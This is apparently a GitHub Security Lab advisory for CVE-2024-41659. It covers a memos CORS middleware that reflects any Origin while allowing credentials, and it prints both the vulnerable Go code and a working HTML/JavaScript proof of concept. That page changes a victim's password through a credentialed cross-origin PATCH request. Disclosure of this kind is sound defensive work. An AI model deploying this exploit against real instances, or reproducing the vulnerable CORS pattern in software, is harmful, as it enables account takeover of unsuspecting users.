Coordinated Disclosure Timeline
- 2024-03-21: CORS issue reported via private vulnerability reporting in memos repo
- 2024-05-12: CORS with credentials disabled by default by maintainer.
Summary
A CORS misconfiguration exists in memos where an arbitrary origin is reflected with Access-Control-Allow-Credentials
set to true
. This may allow an attacking website to make a cross-origin request, allowing the attacker to read private information or make privileged changes to the system as the vulnerable user account.
Project
memos
Tested Version
Details
CORS Misconfiguration in server.go
(GHSL-2024-034
)
The CORS middleware reflects the Origin
request header in the Access-Control-Allow-Origin
response header and adds Access-Control-Allow-Credentials: true
to all responses from non-GPRC requests. This leaves the v1
API vulnerable to cross-origin attacks where a any malicious site is allowed to send cross-origin request and read the responses. The v1
API contains some powerful and sensitive APIs that can be abused to compromise the integrity of the web application.
func CORSMiddleware() echo.MiddlewareFunc {
return func(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
if grpcRequestSkipper(c) {
return next(c)
}
r := c.Request()
w := c.Response().Writer
w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin"))
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, PATCH, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
w.Header().Set("Access-Control-Allow-Credentials", "true")
// If it's preflight request, return immediately.
if r.Method == "OPTIONS" {
w.WriteHeader(http.StatusOK)
return nil
}
return next(c)
}
}
}
Impact
This issue may lead to Information Disclosure
. If the CORS attack is executed on the host user, an attacker can compromise any account by changing the account’s password and logging to the account.
Proof of Concept
An attacker can host a webpage with the following code:
<body>
<p>Click here to login.</p>
<div id="response"></div>
<script>
const url = 'https://demo.usememos.com/api/v1/user';
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open(url);
const requestBody = {
rowStatus: "NORMAL", // Replace with the desired row status
username: "test", // Replace with the desired username
email: "test@gmail.com", // Replace with the desired email
nickname: "", // Replace with the desired nickname
password: "password", // Replace with the desired password
avatarUrl: "" // Replace with the desired avatar URL
};
// Sending the request
let userID = 101;
fetch(`https://demo.usememos.com/api/v1/user/{userID}`, {
method: 'PATCH',
headers: {
'Content-Type': 'application/json'
},
credentials: "include",
body: JSON.stringify(requestBody)
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
return response.json();
})
.then(data => {
console.log('Updated user:', data);
})
.catch(error => {
console.error('Error updating user:', error);
});
}
});
</script>
</body>
When a user navigates to the attacker page and clicks on any part of the page, a request will be sent to change the password of an account on memos. The attacker can now login as that user. This proof of concept works exclusively with Firefox due to changes in third party cookies policies in all recent browsers.
CVE
- CVE-2024-41659 - GHSL-2024-034
Credit
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-034
in any communication regarding this issue.